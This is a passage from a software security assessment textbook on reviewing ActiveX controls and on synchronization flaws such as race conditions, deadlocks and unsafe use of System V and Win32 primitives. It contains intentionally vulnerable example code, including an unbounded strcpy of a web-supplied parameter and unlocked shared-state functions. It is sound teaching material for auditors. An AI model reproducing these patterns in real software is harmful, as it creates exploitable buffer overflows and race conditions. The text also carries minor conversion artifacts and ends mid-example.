guidance is given because a safe for scripting control exposes its methods to any site 

users view, so attackers can leverage the functionally exposed by a control to exploit 

client users. For example, say a scriptable control allows the manipulation of arbitrary 

files. This issue might be part of a faulty design or the result of a vulnerability in path 

checking. Regardless, it would present an unacceptable vulnerability for an ActiveX 

control because it allows any remote attacker to drastically alter the victim's system 

after connecting to a malicious Web site. When reviewing ActiveX controls, you need 

to treat every scriptable method as attack surface and assess them as you would any 

other potentially vulnerable code. 
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ActiveX controls can also store and retrieve data between instantiations by using the 

IPersist interface, which is exposed to controls marked as safe for initialization. 

Microsoft advises marking a control as safe for initialization only if it must store 

persistent data internal to Internet Explorer and it handles this data properly. A 

security vulnerability can occur if the object stores sensitive data and exposes it to an 

untrusted source or if a control fails to treat persistent data as data originating from 

an untrusted source. 

Some people might be a little fuzzy on why a control must be separately marked as 

safe for initialization. After all, the control is just a binary, so it can call any Windows 

API function on its own. This means it can read the registry or file system without the 

need for an IPersist interface, so exposing sensitive data is still a concern. However, 

a control can be initialized with parameters provided by a Web site, as shown in this 

HTML fragment that instantiates a control: 

<OBJECT ID="MyControl" 

        CLASSID="CLSID:F2345FA3-E11B-40AE-A86D-32C487C3EE54" 

        CODEBASE="MyControl.CAB"> 

    <PARAM NAME="MyServer" VALUE="malicious.com" /> 

</OBJECT> 

 

This fragment creates an instance of a control and attempts to initialize it with the 

MyServer parameter. This parameter is accepted through the IPersistPropertyBag 

interface, which inherits from the base IPersist interface. The control retrieves the 

parameter with the following code: 

STDMETHODIMP MyControl::Load(IPropertyBag *pProps, 

       IErrorLog* pErrLog) 

{ 

    _variant_t    myVar; 

    int           hr = 0; 

 

    hr = pProps->Read("MyServer", &myVar, pErrLog); 

    if (hr != 0) return hr; 

    strcpy(m_serverName, myVar); 

 

    return hr; 

} 

 

This code is a simple implementation of the IPersistPropertyBag::Load() method. 

Internet Explorer calls this method when loading the control, and the control then 

retrieves the PARAM values via the IPropertyBag interface. What's important here is 

that you follow the path of these properties and see what they affect. The _variant_t 
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class in this code has overloaded operators to handle type conversions, so don't be 

distracted by that part. Instead, just note that the bold line copies the property string 

into a member variable. Here's the declaration of that member variable: 

char   m_serverName[512]; 

 

It's fairly obvious that this code is performing an unbounded string copy into a 

fixed-size buffer, so this particular IPersist interface is vulnerable to a 

straightforward buffer overflow. This vulnerability might seem obvious, but this exact 

pattern has been seen in more than one ActiveX control. The issue is that developers 

often don't consider control instantiation to be an exposure point. You need to pay 

special attention to all IPersist interfaces to see whether they handle input in an 

unsafe manner. 

Site-Restricted Controls 

One of the best ways of limiting a control's attack surface is to instantiate it only for 

a known set of locations. Implementations can limit instantiation based on hostname, 

but restrictions can be based on any connection information by implementing the 

IObjectWithSite interface and the SetSite() method. The WebBrowser control can 

then be used to provide detailed connection information. Microsoft provides the 

SiteLock template as a starting point for creating a site-restricted control. 

If a control is locked to a particular site, you need to determine how effective that lock 

is. There might be issues in the string comparisons that allow you to bypass the 

checks, similar to the topics discussed in Chapter 8(? [????.]), "Strings and 

Metacharacters." There might also be Web application vulnerabilities at the hosting 

site that allow you to instantiate the control in the context of the site, but with your 

own parameters and scripting. Read Chapters 17(? [????.]), "Web Applications," and 

18(? [????.]), "Web Technologies," for more information on vulnerabilities that 

involve this attack vector. 

The Kill Bit 

Sometimes a vulnerability is identified in a signed control. This control can then be 

delivered by a malicious Web site, allowing attackers to exploit a control that 

otherwise appears safe. A site-restricted control is less vulnerable to this type of 

attack; however, Web application vulnerabilities (such SQL injection and cross-site 

scripting) might allow attackers to exploit the underlying vulnerability. For this reason, 

Microsoft introduced the ActiveX kill bit, which is used to mark a control version as 

unauthorized. The kill bit is set by setting the CompatibilityFlags DWORD value to 

0x00000400 in this registry location: 

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX 

Compatibility\<GUID of control class>. 
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This key and value aren't usually present, so they need to be created by the control's 

installer. Developers often have a new control set this value for all previous versions, 

just to prevent earlier versions from being installed. Note whether this value is set; if 

it's not, you might want to look at vulnerabilities in previous control versions. 

Threading in ActiveX 

Most ActiveX controls are registered for the STA model, so thread synchronization 

issues aren't generally a problem. However, an ActiveX control can be registered as 

an MTA. This model is a bad idea from a usability perspective because it can cause 

GUI synchronization issues. However, an MTA control might also expose 

synchronization vulnerabilities. 

Reviewing ActiveX Controls 

Proprietary ActiveX controls are often frowned on in modern Web application 

development. They've mostly been replaced with newer technologies that are more 

portable and less prone to security issues. However, they are still deployed in many 

legacy and corporate intranet sites. As a reviewer, one of your first considerations 

should be whether a Web-hosted ActiveX control is necessary and determining the 

cost of replacing it. 

If the control is necessary, review it as you would any other binary application. 

However, you also need to ensure that the control handles the considerations 

mentioned previously in this section. Here's a basic checklist: 

1. If you're reviewing the control as part of a larger system, check that it's signed 

with a certificate trusted by clients. If the control isn't signed, look for 

vulnerabilities in the rest of the system that could allow attackers to deploy a 

malicious control. 

2. If the control must be marked safe for scripting, evaluate all exposed 

IDispatch paths closely, including vulnerabilities resulting from the intended 

functionality and implementation vulnerabilities. 

3. If a control must be marked safe for initialization, evaluate all IPersist calls 

closely. Look for any exposure of sensitive data. Also, look for any mishandling 

of persistent data, such as conditions that could result in memory corruption. 

4. Check whether the control is site restricted. If it is, look for vulnerabilities in 

the restriction implementation that could allow it to be instantiated by another 

site. Also, check for any other implementation vulnerabilities that could make 

this interface exploitable. If the control is part of a larger system, look for Web 

application vulnerabilities that could be used to circumvent the site lock. 

5. Check to see whether the control sets the kill bit for previous versions. If not, 

you might want to do a cursory analysis for vulnerabilities in earlier versions of 

the control. 
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6. If the control uses the MTA model, check for synchronization issues that could 

be exploited by scriptable methods. 

 

7.8.8 Summary 

Windows provides a variety of native IPC mechanisms that applications can use to 

communicate with each other, whether they exist on the same computer or on 

different computers sharing a common network. Despite providing a rich security 

model, these IPC mechanisms can increase an application's attack surface, thus 

increasing the risk of compromise. You have examined access permissions available 

with Windows IPC mechanisms and the implications of programmers using these 

access controls in different circumstances. You have also seen that rogue applications 

can attack the underlying IPC mechanisms to impersonate or disable legitimate 

system services. By understanding these vulnerabilities and how they're attacked, 

you should be able to identify, assess, and prevent them. 

7.9 Chapter 13.  Synchronization and State 

Chapter 13. Synchronization and State 

"The future influences the present just as much as the past." 

Friedrich Nietzsche 

7.9.1 Introduction 

Up to this point, most of the vulnerabilities you've seen occur in a lone synchronous 

code path; that is, each vulnerability can be traced from a single entry point to an 

endpoint. However, most modern software responds asynchronously to external 

triggers such as UNIX signals, Windows events, or thrown exceptions. Asynchronous 

execution is even more common with the growing popularity of multithreaded 

programming, in which different threads of execution share the same address space. 

These multithreading and multiprocessing applications introduce unique security 

vulnerabilities that occur when an attacker can manipulate the state of concurrent 

instances of execution. This chapter shows you how to understand and identify the 

complex vulnerabilities that result from security oversights in this type of state 

manipulation. 

7.9.2 Synchronization Problems 

Certain types of operations require atomicitythat is, they must happen in an 

uninterruptible sequence. Errors can occur when applications fail to enforce atomicity 

31051536.html
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requirements between concurrent instances of execution. To understand this issue, 

imagine two processes sharing a memory segmentone process writing to it and one 

reading from it, as shown in Figure 13-1. 

Figure 13-1. Shared memory between two processes 

 

 

The reader process could be interrupted while copying data out of the memory 

segment by the writer process, which places alternative data at the location being 

read from. Likewise, the writer process could be interrupted by the reader when it's 

only half finished writing data into the shared memory segment. In both situations, 

the shared memory segment is said to be in an inconsistent state because it's halfway 

through an operation that should have been atomic between the two processes. 

OSs provide synchronization primitives that address concurrent programming 

requirements. Atomic access to resources is often controlled through a mutual 

exclusion (mutex) primitive. When a thread attempts to access the shared resource, 

it must first acquire the mutex. Acquiring a mutex means that other processes or 

threads attempting to acquire the same mutex are blocked (waiting) until the owner 

releases the mutex. Acquiring ownership of a mutex may also be referred to as 

locking or holding; releasing ownership of a mutex may be referred to as unlocking or 

signaling. 

Unfortunately, complex locking requirements can make it difficult to use 

synchronization APIs correctly. Additionally, code with concurrency issues exhibits 

symptoms infrequently, with error conditions that often appear random and 

non-repeatable. This combination of factors makes concurrency issues extremely 

difficult to identify and trace. As a result, it's easy for errors of this nature to go 

undiagnosed for a long time, simply because the bug can't be reproduced with what 

appears to be identical input. The following sections cover the basic problems that 
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concurrent programming introduces so that you can relate this material to more 

concrete vulnerabilities later in the chapter. 

Reentrancy and Asynchronous-Safe Code 

The first step in understanding concurrency issues involves familiarizing yourself with 

the concept of reentrancy. Reentrancy refers to a function's capability to work 

correctly, even when it's interrupted by another running thread that calls the same 

function. That is, a function is reentrant if multiple instances of the same function can 

run in the same address space concurrently without creating the potential for 

inconsistent states. Take a look at an example of a non-reentrant function: 

struct list *global_list; 

int global_list_count; 

 

int list_add(struct list *element) 

{ 

    struct list *tmp; 

 

    if(global_list_count > MAX_ENTRIES) 

        return -1; 

 

    for(list = global_list; list->next; list = list->next); 

 

    list->next = element; 

    element->next = NULL; 

    global_list_count++; 

 

    return 0; 

} 

 

For this example, assume that there is a list_init() function that initializes the list 

with a single member, so that a NULL pointer dereference doesn't occur in the 

list_add() function. This function adds an element to the list as it should, but it's not 

a reentrant function. If it's interrupted by another running thread that calls list_add() 

as well, both instances of the function simultaneously modify the global_list and 

global_list_count variables, which produces unpredictable results. For a function to 

be reentrant, it must not modify any global variables or shared resources without 

adequate locking mechanisms in place. Here's another example of a function that 

handles global data in a non-reentrant manner: 

struct CONNECTION 

{ 

    int sock; 
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    unsigned char *buffer; 

    size_t bytes_available, bytes_allocated; 

} client; 

 

size_t bytes_available(void) 

{ 

    return client->bytes_available; 

} 

 

int retrieve_data(char *buffer, size_t length) 

{ 

    if(length < bytes_available()) 

        memcpy(buffer, client->buffer, length); 

    else 

        memcpy(buffer, client->buffer, bytes_available()); 

 

    return 0; 

} 

 

The retrieve_data() function reads some data from a global structure into a 

destination buffer. To make sure it doesn't overflow the destination buffer, the length 

parameter is validated against how many bytes are available in the data buffer 

received from a client. The code is fine in a single uninterruptible context, but what 

happens if you interrupt this function with another thread that changes the state of 

the client CONNECTION structure? Specifically, you could make it so that 

bytes_available() returned a value less than length initially, and then interrupt it 

before the memcpy() operation with a function that changes client->bytes_available 

to be larger than length. Therefore, when program execution returned to 

retrieve_data(), it would copy an incorrect number of bytes into the buffer, resulting 

in an overflow. 

As you can see, synchronization issues can be quite subtle, and even code that 

appears safe at a glance can suddenly become unsafe when it's placed in an 

interruptible environment such as a multithreaded application. This chapter covers 

several vulnerability types that are a direct result of using non-reentrant functions 

when reentrancy is required. 

Race Conditions 

A program is said to contain a race condition if the outcome of an operation is 

successful only if certain resources are acted on in an expected order. If the resources 

aren't used in this specific order, program behavior is altered and the result becomes 

undefined. To understand this problem, consider a program that contains several 
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threadsa producer thread that adds objects to a queue and multiple consumers that 

take objects from the queue and process them, as shown in the following code: 

struct element *queue; 

 

int queueThread(void) 

{ 

    struct element *new_obj, *tmp; 

 

    for(;;) 

    { 

        wait_for_request(); 

 

        new_obj = get_request(); 

 

        if(queue == NULL) 

        { 

            queue = new_obj; 

            continue; 

        } 

 

        for(tmp = queue; tmp->next; tmp = tmp->next) 

            ; 

 

        tmp->next = new_obj; 

    } 

} 

int dequeueThread(void) 

{ 

    for(;;) 

    { 

        struct element *elem; 

 

        if(queue == NULL) 

            continue; 

 

        elem = queue; 

        queue = queue->next; 

 

        .. process element .. 

    } 

} 
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The problem with this code is it modifies a shared structure without any locking to 

ensure that other threads don't also modify or access the same structure 

simultaneously. Imagine, for example, that dequeueThread() is running in one thread, 

and executes the following instruction: 

elem = queue; 

 

The structure is in an inconsistent state if the thread is interrupted after this code runs 

but before updating the queue variable to point to the next element. This state results 

in two threads de-queuing the same element and simultaneously attempting to 

operate on it. 

Starvation and Deadlocks 

Starvation can happen when a thread or set of threads never receives ownership of 

a synchronization object for some reason, so the threads are prevented from doing 

the work they're supposed to do. Starvation can be the result of a thread waiting to 

acquire ownership of too many objects or other threads with a higher priority 

constantly hogging the CPU, thus not allowing the lower priority thread to ever be 

scheduled for execution. 

Deadlocks are another problem encountered frequently in concurrent programming. 

They occur when two or more threads are using multiple synchronization objects at 

once but in a different order. In this situation, a lock is used to avoid a race condition, 

but the locks are acquired in an unexpected order, such that two threads of execution 

are waiting for locks that can never be released because it's owned by the other 

thread. The following code shows a simple example: 

Int thread1(void) 

{ 

    lock(mutex1); 

 

    .. code .. 

 

    lock(mutex2); 

 

    .. more code .. 

 

    unlock(mutex2); 

    unlock(mutex1); 

 

    return 0; 

} 
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int thread2(void) 

{ 

    lock(mutex2); 

 

    .. code .. 

 

    lock(mutex1); 

 

    .. more code .. 

 

    unlock(mutex2); 

    unlock(mutex1); 

 

    return 0; 

} 

 

This example has two threads that use mutex1 and mutex2 but in a different order, and 

both threads lock them simultaneously. This is a recipe for disaster! The problem can 

be best understood by playing out a sample scenario: 

1. thread1 locks mutex1. 

2. thread2 interrupts and locks mutex2. 

3. thread2 TRies to lock mutex1, but it's held by thread1, so tHRead2 blocks. 

4. tHRead1 resumes running and attempts to lock mutex2, but thread2 holds it, so 

tHRead1 blocks. 

Both threads are now unable to continue because they are waiting on a condition that 

can never be satisfied. For a deadlock to be possible, four conditions need to exist: 

 Mutual exclusion The program needs to require exclusive access to a resource. 

 Hold and wait A thread or process needs to lock one resource and then wait for 

another. 

 No preemption An external entity can't force a thread or process to relinquish 

ownership of a resource. 

 Circular wait Threads or processes wait on synchronization objects in a circular 

fashion. That is, thread1 might wait on a resource from thread2, which is 

waiting on a resource from thread3, which is waiting on a resource from 

thread1. 

If all four conditions exist in a program, there's the possibility for deadlock. Deadlock 

might also occur if a thread or process neglects to release a resource when it's 

supposed to because of a programming error. 

7.9.3 Process Synchronization 
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Concurrent programming requires the use of process synchronization services the 

kernel exposes to userland applications. Both UNIX and Windows provide these 

services; however, they differ greatly in their implementation and semantics. The 

following sections present both the UNIX and Windows synchronization APIs and their 

fundamental synchronization primitives. 

System V Process Synchronization 

Chapter 10(? [????.]), "UNIX II: Processes," introduced the System V IPC 

mechanisms available in most UNIX OSs, which includes three objects that are visible 

in the kernel namespace and can be used by unrelated processes to interact with each 

other: semaphores, message queues, and shared memory segments. This discussion 

focuses on semaphores, as they are most relevant in discussions of synchronization. 

Note 

Shared memory segments have some relevance in synchronization, as processes 

sharing a memory segment must ensure that mutually exclusive access is achieved 

correctly so that the shared memory segment isn't accessed when it's in an 

inconsistent state. However, the issue of synchronization isn't the shared memory 

itself, but the mechanisms put in place to access that object (as is the case for any 

other shared resource). Therefore, shared memory isn't discussed further in this 

section. 

 

 

Semaphores 

A semaphore is a locking device that uses a counter to limit the number of instances 

that can be acquired. This counter is decremented every time the semaphore is 

acquired and incremented every time a semaphore is released. When the count is 

zero, any attempts to acquire the semaphore cause the caller to block. 

Semaphores are represented by IDs in the System V IPC API. System V also allows 

semaphores to be manipulated in sets, which are arrays of semaphores that 

programmers create to group related semaphores into one unit. The functions for 

manipulating semaphores and semaphore sets are described in the following 

paragraphs. 

The semget() function creates a new semaphore set or obtains an existing semaphore 

set: 

int semget(key_t key, int nsems, int semflg) 
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A new semaphore set is created if the value of key is IPC_PRIVATE or if the IPC_CREAT 

flag is set in semflg. An existing semaphore set is accessed by supplying the 

corresponding key for the first parameter; an error is returned if the key does not 

match an existing semaphore. If both the IPC_CREAT and IPC_EXCL flags are set and a 

semaphore with the same key already exists, an error is returned instead of a new 

semaphore being created. 

The nsems parameter indicates how many semaphores should exist in the specified set; 

if a single semaphore is used, a value of 1 is supplied. The semflg parameter is used 

to indicate what access permissions the semaphore set should have, as well as the 

following arguments: 

 IPC_CREAT Create a new set if one doesn't exist already. 

 IPC_EXCL Create a new semaphore set, or return an error if one already exists. 

 IPC_NOWAIT Return with an error if the request is required to wait for the 

resource. 

The low nine bits of semflg provide a standard UNIX permission mask for owner, 

group, and world. The read permission allows semaphore access, write provides alter 

permission, and execute is not used. 

The semop() function performs an operation on selected semaphores in the 

semaphore set referenced by semid: 

int semop(int semid, struct sembuf *sops, unsigned nsops) 

 

The sops array contains a series of sembuf structures that describe operations to be 

performed on specific semaphores in the set. This function is used primarily to wait on 

or signal a semaphore, depending on the value of sem_op in each structure. The value 

of sem_op has the following effects: 

 If the sem_op parameter is greater than 0, it is added to the internal integer in 

the semaphore structure, which is effectively the same as issuing multiple 

signals on the semaphore. 

 If the sem_op value is equal to 0, the process waits (is put to sleep) until the 

semaphore value becomes 0. 

 If the sem_op value is less than 0, that value is added to the internal integer in 

the semaphore structure. Because sem_op is negative, the operation is really a 

subtraction. This operation is like issuing multiple waits on the semaphore and 

may put the process to sleep. 

The semctl() function is used to perform a control operation on the semaphore 

referenced by semid: 
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int semctl(int semid, int semnum, int cmd, ...) 

 

The cmd value can be one of the following: 

 IPC_STAT Copy the semaphore structure stored in the kernel to a user space 

buffer. It requires read privileges to the semaphore. 

 IPC_SET Update the UID, GID, or mode of the semaphore set. It requires the 

caller to be a super-user or the creator of the set. 

 IPC_RMID Remove the semaphore set. It requires super-user privileges or for 

the caller to be the creator of the set. 

 SETALL Set the integer value in all semaphores in the set to be a specific value. 

 SETVAL Set a specific semaphore in the semaphore set to be a specific value. 

A number of other operations can be performed, but they aren't relevant to this 

discussion. Interested readers can refer to the semctl() man page. 

Windows Process Synchronization 

The Win32 API provides objects that can synchronize a number of threads in a single 

process, as well as objects that can be used for synchronizing processes on a system. 

There are four interprocess synchronization objects: mutexes (Mutex or Mutant), 

events (Event), semaphores (Semaphore), and waitable timers (WaitableTimer). Each 

object has a signaled state in which it can be acquired and an unsignaled state in 

which an attempt to acquire it will force the caller to wait on a corresponding release. 

Sychronization objects can be created as named or unnamed objects and, as with all 

securable objects, are referenced with the HANDLE data type. 

Note 

Windows uses a single namespace for all mutexes, events, semaphores, waitable 

timers, jobs, and file-mappings. So no instances of these six object types can share 

the same name. For example, an attempt to create a mutex named MySync fails if a 

semaphore named MySync already exists. 

 

 

Wait Functions 

All windows synchronization objects are acquired (waited on) by the same set of 

functions. These functions put the calling process to sleep until the waited-on object 

is signaled. Some objects may also be modified by a call to a wait function. For 

example, with a mutex, the caller gains ownership of the object after successful 

completion of a wait function. Because the wait functions are common to all 

synchronization objects, it's best to discuss them before the objects themselves. 
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The WaitForSingleObject() function waits on a synchronization object specified by 

hHandle for a maximum period of time specified by dwMilliseconds: 

DWORD WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds) 

 

The following function works the same way as WaitForSingleObject(), except it has 

an additional parameter, bAlertable: 

DWORD WaitForSingleObjectEx(HANDLE hHandle, DWORD dwMilliseconds, 

                              BOOL bAlertable) 

 

This parameter indicates that the process is alertable (that is, an I/O completion 

routine or asynchronous procedure call (APC) can be run after successful return 

from this function). This parameter is irrelevant for the purposes of this discussion. 

Note 

APCs are a common Windows idiom in I/O and IPC routines. At the most basic level, 

they are callback routines that can be scheduled to run at the earliest convenient time 

for the process. The earliest convenient time is when the process is alertable (waiting 

on an object) and is running userland-level code (i.e., it isn't in the middle of 

performing a system call). For more information on APCs, see Microsoft Windows 

Internals 4th Edition by Mark Russinovich and David Solomon (Microsoft Press, 2004(? 

[????.])). 

 

The following function is similar to the WaitForSingleObject() function, except it waits 

on multiple objects that are specified as an array of handles (lpHandles) with nCount 

elements: 

DWORD WaitForMultipleObjects(DWORD nCount, const HANDLE *lpHandles, 

                               BOOL bWaitAll, 

                               DWORD dwMilliseconds) 

 

If bWaitAll is set to TRUE, this function waits for all objects specified in the lpHandles 

array to be signaled; otherwise, it waits for just one of the objects to be signaled 

before returning. Like WaitForSingleObject(), the dwMilliseconds parameter defines 

the maximum amount of time the function should wait before returning. 

The following function works the same way as WaitForMultipleObjects(), except it 

has an additional parameter, bAlertable: 



The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 

 781 

DWORD WaitForMultipleObjectsEx(DWORD nCount, const HANDLE *lpHandles, 

                                 BOOL bWaitAll, 

                                 DWORD dwMilliseconds, 

                                 BOOL bAlertable) 

 

As with WaitForSingleObjectEx(), this parameter indicates that an I/O completion 

routine or APC can be run after successful return from this function. 

Mutex Objects 

Windows provides an implementation of the standard mutex synchronization 

primitive. When a thread locks a mutex, other threads that attempt to lock the mutex 

are put to sleep until it is released. After it has been released, one of the waiting 

threads will be awakened and acquire the mutex. There are three API functions 

specifically for creating and managing mutexes. 

The CreateMutex() function is used to create a new mutex: 

HANDLE CreateMutex(LPSECURITY_ATTRIBUTES lpMutexAttributes, 

                    BOOL bInitialOwner, LPCSTR lpName) 

 

The lpMutexAttributes parameter describes security attributes for the mutex being 

created. Setting the bInitialOwner parameter to TRUE creates the mutex in a locked 

state and grants the caller initial ownership. The final parameter, lpName, passes the 

object's name or NULL for an unnamed mutex. If a mutex with the same name 

already exists, that existing mutex is returned to the caller instead of a new one. 

When an existing mutex is opened the bInitialOwner parameter is ignored. 

The following function opens an existing mutex object: 

HANDLE OpenMutex(DWORD dwDesiredAccess, 

                  BOOL bInheritHandle, LPCSTR lpName) 

 

The dwDesiredAccess parameter describes what access rights the caller is requesting. 

The bInheritHandle parameter describes whether this handle should be inherited 

across a CreateProcess() call, and the lpName parameter is the name of the mutex to 

open. 

The ReleaseMutex() function signals the mutex so that other threads waiting on it can 

claim ownership of it (lock it): 

BOOL ReleaseMutex(HANDLE hMutex) 
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A thread using this function must own the mutex and have the MUTEX_MODIFY_STATE 

access right to perform this operation. The current owner of a mutex can repeatedly 

acquire it without ever blocking. However, the mutex is not released until the number 

of calls to Release mutex equals the number of times the mutex was acquired by the 

current owner. In the discussion on "IPC Object Scoreboards" later in this chapter, 

you see exactly how this can be an issue. 

Event Objects 

An event object is used to inform another thread or process that an event has 

occurred. Like a mutex, an event object is always in a signaled or nonsignaled state. 

When it's in a nonsignaled state, any thread that waits on the event is put to sleep 

until it becomes signaled. An event differs from a mutex in that it can be used to 

broadcast an event to a series of threads simultaneously. In this case, a thread 

doesn't have exclusive ownership of the event object. 

Event objects can be further categorized into two subtypes: manual-reset events and 

auto-reset events. A manual-reset event is one in which the object stays in a signaled 

state until a thread manually sets it to a nonsignaled state. An auto-reset event is one 

that's automatically set to a nonsignaled state after a waiting thread is woken up. 

Creating and manipulating an event requires using the functions described in the 

following paragraphs. 

The CreateEvent() function is used to create a new event object with the security 

attributes described by the lpEventAttributes parameter: 

HANDLE CreateEvent(LPSECURITY_ATTRIBUTES lpEventAttributes, 

                    BOOL bManualReset, BOOL bInitialState, 

                    LPCSTR lpName) 

 

The bManualReset parameter indicates whether the object is manual-reset or 

auto-reset; a value of TRUE creates a manual-reset object and a value of FALSE 

creates an auto-reset object. The bInitialState parameter indicates the initial state 

of the event; a value of TRUE sets the object to a signaled state and a value of FALSE 

sets it to a nonsignaled state. Finally, lpName indicates the name of the event object 

being created or NULL for an unnamed event. Like mutexes, passing the name of an 

existing event object causes it to be opened instead. 

The OpenEvent() function works in the same way OpenMutex() does, except it opens a 

previously created event rather than a mutex: 

HANDLE OpenEvent(DWORD dwDesiredAccess, BOOL  bInheritHandle, LPCSTR 

lpName) 
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The SetEvent() function sets an event to a signaled state. The caller must have 

EVENT_MODIFY_STATE access rights to use this function: 

BOOL SetEvent(HANDLE hEvent) 

 

The ResetEvent() function sets an event to a nonsignaled state: 

BOOL ResetEvent(HANDLE hEvent) 

 

This function is used only for manual-reset events because they require threads to 

reset the event to a nonsignaled state. This function also requires that the caller has 

EVENT_MODIFY_STATE access rights for the event. 

Semaphore Objects 

As in other operating systems, semaphores are used to allow a limited number of 

threads access to some shared object. A semaphore maintains a count initialized to 

the maximum number of acquiring threads. This count is decremented each time a 

wait function is called on the object. When the count becomes zero, the object is no 

longer signaled, so additional threads using a wait function on the object are blocked. 

The functions for dealing with semaphores are described in the following paragraphs. 

The CreateSemaphore() function creates a new semaphore or opens an existing 

semaphore if one with the same name already exists: 

HANDLE CreateSemaphore(LPSECURITY_ATTRIBUTES lpAttributes, 

                       LONG lInitialCount, LONG lMaximumCount, 

                       LPCSTR lpName) 

 

The lInitialCount parameter indicates the initial value of the semaphore counter. 

This value must be between 0 and lMaximumCount (inclusive). If the value is 0, the 

semaphore is in a nonsignaled state; otherwise, it's in a signaled state when 

initialized. The lMaximumCount parameter specifies the maximum number of threads 

that can simultaneously wait on this object without blocking. 

The OpenSemaphore() function opens an existing semaphore and works in the same 

way that OpenMutex() and OpenEvent() do: 

HANDLE OpenSemaphore(DWORD dwDesiredAccess, BOOL bInheritable, 

                       LPCSTR lpName) 
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The ReleaseSemaphore() function increments the semaphore count by the amount 

specified in lReleaseCount: 

BOOL ReleaseSemaphore(HANDLE hSemaphore, LONG lReleaseCount, 

                      LPLONG lpPreviousCount) 

 

This function fails if lReleaseCount causes the semaphore to exceed its internal 

maximum count. The lpPreviousCount stores the previous count held by the 

semaphore before this function call. Usually, a call to this function leaves the 

semaphore in a signaled state because the resulting count is greater than zero. 

Waitable Timer Objects 

A waitable timer, or timer, is used to schedule threads for work at a later time by 

becoming signaled after a time interval has elapsed. There are two types of waitable 

timers: manual-reset and synchronization timers. A manual-reset timer remains 

signaled until it's manually reset to a nonsignaled state. A synchronization timer stays 

signaled until a thread completes a wait function on it. In addition, any waitable timer 

can be a periodic timera timer that's automatically reactivated each time the specified 

interval expires. The functions for dealing with waitable timers are described in the 

following paragraphs. 

The CreateWaitableTimer() function works the same way other Create*() functions 

do: 

HANDLE CreateWaitableTimer(LPSECURITY_ATTRIBUTES lpAttributes, 

                           BOOL bManualReset, LPCSTR lpName) 

 

The bManualReset parameter specifies whether the timer should be a manual-reset 

timer or synchronization timer. A value of TRUE indicates it's a manual-reset timer, 

and a value of FALSE indicates it's a synchronization timer. 

The OpenWaitableTimer() function is used to open an existing named waitable timer 

object. It works the same way other Open*() functions do: 

HANDLE OpenWaitableTimer(DWORD dwDesiredAccess, BOOL bInheritable, LPCSTR 

lpName) 

 

The SetWaitableTimer() function is responsible for initializing a waitable timer with a 

time interval: 

BOOL SetWaitableTimer(HANDLE hTimer, const LARGE_INTEGER *pDueTime, 

                      LONG lPeriod, 



The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 

 785 

                      PTIMERAPCROUTINE pfnCompletionRoutine, 

                      LPVOID lpArgToCompletionRoutine, 

                      BOOL fResume) 

 

The pDueTime parameter specifies the interval for the timer to be signaled after, and 

the lPeriod parameter specifies whether this timer should be reactivated after the 

time interval has elapsed. A value larger than 0 indicates it should, and a value of 0 

indicates that it should signal only once. The next two parameters are a pointer to an 

optional completion routine that's called after the timer is signaled and an argument 

for that completion routine. The routine is queued as a user-mode APC. Finally, the 

fResume parameter indicates that the system should recover out of suspend mode if 

it's in suspend when the timer is activated. 

The following function deactivates an active timer: 

BOOL CancelWaitableTimer(HANDLE hTimer) 

 

The caller must have TIMER_MODIFY_STATE access to the object for this function to 

succeed. 

Vulnerabilities with Interprocess Synchronization 

Now that you're familiar synchronization primitives, you can begin to explore what 

types of vulnerabilities could occur from incorrect or unsafe use of these primitives. 

Lack of Use 

Obviously, there's a problem when synchronization objects are required but not used. 

In particular, if two processes are attempting to access a shared resource, a race 

condition could occur. Take a look at a simple example: 

char *users[NUSERS]; 

int curr_idx = 0; 

 

DWORD phoneConferenceThread(SOCKET s) 

{ 

    char *name; 

 

    name = readString(s); 

 

    if(name == NULL) 

        return 0; 
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    if(curr_idx >= NUSERS) 

        return 0; 

 

    users[curr_idx] = name; 

 

    curr_idx++; 

 

    .. more stuff .. 

} 

 

Say a daemon accepted connections on a listening socket, and each new connection 

caused a thread to be spawned, running the code shown in the example. Clearly, 

there is a problem with modifying the users and curr_idx variables without using 

synchronization objects. You can see that the function is not reentrant due to its 

handling of global variables; so calling this function in multiple concurrent threads will 

eventually exhibit unexpected behavior due to not accessing the global variables 

atomically. A failure to use synchronization primitives in this instance could result in 

an overflow of the users array, or cause a name to unexpectedly overwritten in the 

users array. 

When you're auditing code that operates on an improperly locked shared resource, 

it's important to determine the implications of multiple threads accessing that 

resource. In reality, it's quite uncommon for developers to disregard concurrency 

issues and not use any form of synchronization objects. However, developers can 

make mistakes and forget to use synchronization primitives in unexpected or 

infrequently traversed code paths. The "Threading Vulnerabilities(? [????.])" section 

later in this chapter presents an example of this issue in the Linux kernel. 

Incorrect Use of Synchronization Objects 

Misusing synchronization objects can also cause problems. These types of errors 

generally occur because developers don't fully understand the API or fail to check 

when certain exceptional conditions occur, such as not checking for return values. To 

determine when this error has been made, you need to cross-check synchronization 

API calls with how they appear in the program, and then determine whether they 

correspond with the developer's intentions. The following code shows an example of 

incorrect use of a synchronization function. First, there's a function to initialize a 

program containing multiple threads. One thread reads requests from a network and 

adds jobs to a global queue, and a series of threads read jobs from the queue and 

process them. 

HANDLE queueEvent, jobThreads[NUMTHREADS+1]; 

struct element *queue; 

HANDLE queueMutex; 
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SOCKET fd; 

 

DWORD initJobThreads(void) 

{ 

    int i; 

 

    queueEvent = CreateEvent(NULL, TRUE, FALSE, NULL); 

 

    if(queueEvent == NULL) 

        return -1; 

 

    queueMutex = CreateMutex(NULL, FALSE, NULL); 

 

    for(i = 0; i < NUMTHREADS; i++) 

    { 

        jobThreads[i] = CreateThread(NULL, 0, processJob, 

                            NULL, 0, NULL); 

 

        if(jobThreads[i] == NULL) 

        { 

            .. error handle .. 

        } 

    } 

    jobThreads[i] = CreateThread(NULL, 0, processNetwork, 

                        NULL, 0, NULL); 

 

    if(jobThreads[i] == NULL) 

    { 

        .. error handle .. 

    } 

 

    return 0; 

} 

 

After the initJobThreads() function is done, the processJob() and processNetwork() 

functions are responsible for doing the actual work. They use mutex objects to ensure 

mutually exclusive access to the queue resource and an event to wake up threads 

when the queue contains elements that need to be dequeued and processed. 

Their implementations are shown in the following code: 

DWORD processJob(LPVOID arg) 

{ 

    struct element *elem; 
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    for(;;) 

    { 

        WaitForSingleObject(queueMutex, INFINITE); 

        if(queue == NULL) 

            WaitForSingleObject(queueEvent, INFINITE); 

 

